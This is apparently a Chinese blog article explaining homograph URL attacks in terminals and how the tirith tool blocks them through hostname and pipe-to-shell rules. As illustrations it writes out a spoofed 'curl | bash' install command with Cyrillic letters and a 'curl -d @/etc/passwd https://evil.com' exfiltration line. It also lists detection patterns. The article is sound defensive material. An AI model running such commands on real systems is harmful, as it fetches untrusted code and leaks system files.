为什么你的终端会被假域名欺骗?深入解析同形异义URL攻击与tirith防御原理
【免费下载链接】tirithTerminal security for developers and AI agents. Intercepts homograph URLs, pipe-to-shell, ANSI injection, obfuscated payloads, data exfiltration, and malicious AI skills/configs before they execute.项目地址: https://gitcode.com/gh_mirrors/tir/tirith
在终端里粘贴一条安装命令,看似安全的域名其实藏着西里尔字母——同形异义URL攻击(Homograph Attack)正是利用人眼和终端无法区分的 Unicode 字符,把流量骗到你的对手服务器。开源终端安全工具tirith站在命令执行前的"门口",在执行前拦截同形异义域名、pipe-to-shell、ANSI 注入、混淆载荷与数据外泄,帮助新手和开发者快速建立终端安全防线。
一个你肉眼看不出来的骗局
先看两条几乎一模一样的命令:
curl -sSL https://install.example-cli.dev | bash # 安全的 curl -sSL https://іnstall.example-clі.dev | bash # 已被篡改区别在哪里?第二行域名里的两个і不是拉丁字母i,而是西里尔字母 і(U+0456)。你的终端照常渲染它,DNS 却把它解析到攻击者控制的服务器——脚本在你察觉之前就已经执行完了。
这就是同形异义攻击的核心:视觉上完全相同,字节上完全不同。
💡 浏览器多年前就解决了这个问题(地址栏会转成 Punycode 或发出警告),但终端至今还在"无条件信任"Unicode 渲染。
同形异义URL攻击:为什么终端会中招
1. 终端对 Unicode 无条件信任
终端渲染器会原样显示任何 Unicode 字符:西里尔字母、希腊字母、全角字符、零宽字符、双向控制符……它不像浏览器那样对主机名做规范化检查。攻击者只要用"长得一样"的字符替换域名中的字母,肉眼几乎无法分辨。
tirith 项目自带的混淆字符表 data/confusables.txt 就列举了这些"李鬼":
0456 0069 # і -> i 0430 0061 # а -> a 043E 006F # о -> o每一行表示:左边这个 Unicode 码点(西里尔字母)在屏幕上长得像右边的拉丁字母。
2. 变体:Punycode 与混合脚本域名
同形异义不止一种写法:
| 攻击手法 | 例子 | 特点 |
|---|---|---|
| 直接混入西里尔/希腊字母 | іnstall.example-clі.dev | 肉眼不可分辨 |
| Punycode 编码域名 | xn--...开头的标签 | 合法编码,伪装真实域名 |
| 单标签内混合多套文字脚本 | 拉丁 + 西里尔混排 | 每个字符都"合法" |
3. 谁会被骗?不只是你
tirith 的威胁模型(docs/threat-model.md)列出了典型攻击者:恶意网站运营者(在教程页面里埋藏带隐藏载荷的复制粘贴命令)、Typosquatter(抢注近似域名)、供应链攻击者,以及社会工程师。
更糟的是:AI 编码代理会自动执行 shell 命令和安装包,往往根本不"看" URL 里是什么。终端 + AI Agent,让这类攻击的触发成本更低了。
tirith 防御原理:在执行前把门守住
tirith 的思路是:浏览器替你做了的规范化检查,终端里由它来补上。它作为 shell 钩子(hook)拦截每条即将执行的命令,做纯结构的静态分析,不需要联网、不碰 payload 内容。
字符级扫描:逐字节审计主机名
核心逻辑在 crates/tirith-core/src/homoglyph.rs:
- 遍历主机名中的每个字符,凡是非 ASCII 字符都会被记录:偏移位置、Unicode 码点、所属文字脚本、十六进制字节;
- 为常见字符生成人类可读的描述,例如"Cyrillic 'і' (looks like Latin 'i')(西里尔字母 і,长得像拉丁 i)";
- 同时把域名转换为 ASCII/Punycode 等价形式(UTS-46 主机名解析),方便对比"它看起来是什么"和"它实际是什么"。
多规则组合拳:不止查一个点
主机名规则集实现在 crates/tirith-core/src/rules/hostname.rs,一次检查覆盖多个维度:
| 规则 | 触发条件 | 严重级别 |
|---|---|---|
non_ascii_hostname | 主机名含非 ASCII 字节 | High |
mixed_script_in_label | 同一标签内混用多套文字脚本 | High |
punycode_domain | 域名标签以xn--开头 | High |
confusable_domain | 与知名域名构成混淆对 | 视策略 |
lookalike_tld | 相似后缀(如.devvs.se) | 视策略 |
raw_ip_url | 直接使用裸 IP | 视策略 |
配套数据文件 data/confusables.txt(约 97 行,涵盖西里尔→拉丁、希腊→拉丁、全角字符等映射)支撑混淆检测,基于 Unicode TR39 混淆字符标准。
实际拦截效果
一条同形异义 URL 命令被拦截时,你会看到类似这样的输出:
$ curl -sSL https://іnstall.example-clі.dev | bash tirith: BLOCKED [CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname This is a homograph attack. The URL visually mimics a legitimate domain but resolves to a completely different server.命令根本没有执行。而干净的命令(git status、ls -la)完全静默,几乎感觉不到 tirith 的存在。
同形异义只是"第一道门"
tirith 全项目共有244 条检测规则、35 个类别,同形异义攻击防御只是其一。围绕"终端安全"这个主题,它还能:
- Pipe-to-shell:
curl | bash、wget | sh及其各种包装/解码变体; - 终端注入:ANSI 转义序列、双向覆盖符、零宽字符(粘贴内容扫描);
- Base64 解码执行链:
base64 -d | bash、-EncodedCommand; - 数据外泄:
curl -d @/etc/passwd https://evil.com这类敏感文件上传; - 恶意 AI 技能/配置文件:扫描
tirith scan目标文件中的混淆载荷与凭据外传模式。
快速上手:三步启用终端防护
第一步,安装(以 Homebrew 为例):
brew install tirith也支持 npm、cargo、mise、apt/dnf 等渠道,详见 README.md。
第二步,在当前 shell 激活钩子:
# zsh eval "$(tirith init --shell zsh)" # bash eval "$(tirith init --shell bash)"eval "$(tirith init)"不带参数时会自动检测当前 shell。
第三步,验证状态:
tirith doctor安装和升级后运行一次tirith doctor可以确认钩子处于健康状态。需要放行某条命令时,临时加前缀TIRITH=0只对那一条命令生效。
⚠️ 注意:tirith 是执行前检测层,不是运行时沙箱;它防的是"被骗的输入",而不是已经拿到 root 的攻击者。完整的能力边界见 docs/threat-model.md 和 docs/enforcement-coverage.md。
小结:给终端补上浏览器的"地址栏检查"
- 同形异义URL攻击利用Unicode 同形字符骗过人眼和终端,浏览器早已设防,终端却长期裸奔;
- tirith 通过逐字符脚本分析 + 混淆字符表 + 多规则组合,在执行前识别
і与i这类致命差异; - 一条
brew install tirith+tirith init,即可为你的终端(以及替你执行命令的 AI Agent)加上一道 244 条规则的静态安全闸门。
延伸阅读(仓库内文档):
- 项目总览与演示:README.md
- 威胁模型与检测向量总表:docs/threat-model.md
- 能力矩阵(
tirith paste等同形异义扫描入口):docs/capability-matrix.md - 测试语料(同形异义相关用例):tests/fixtures/hostname.toml
【免费下载链接】tirithTerminal security for developers and AI agents. Intercepts homograph URLs, pipe-to-shell, ANSI injection, obfuscated payloads, data exfiltration, and malicious AI skills/configs before they execute.项目地址: https://gitcode.com/gh_mirrors/tir/tirith
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考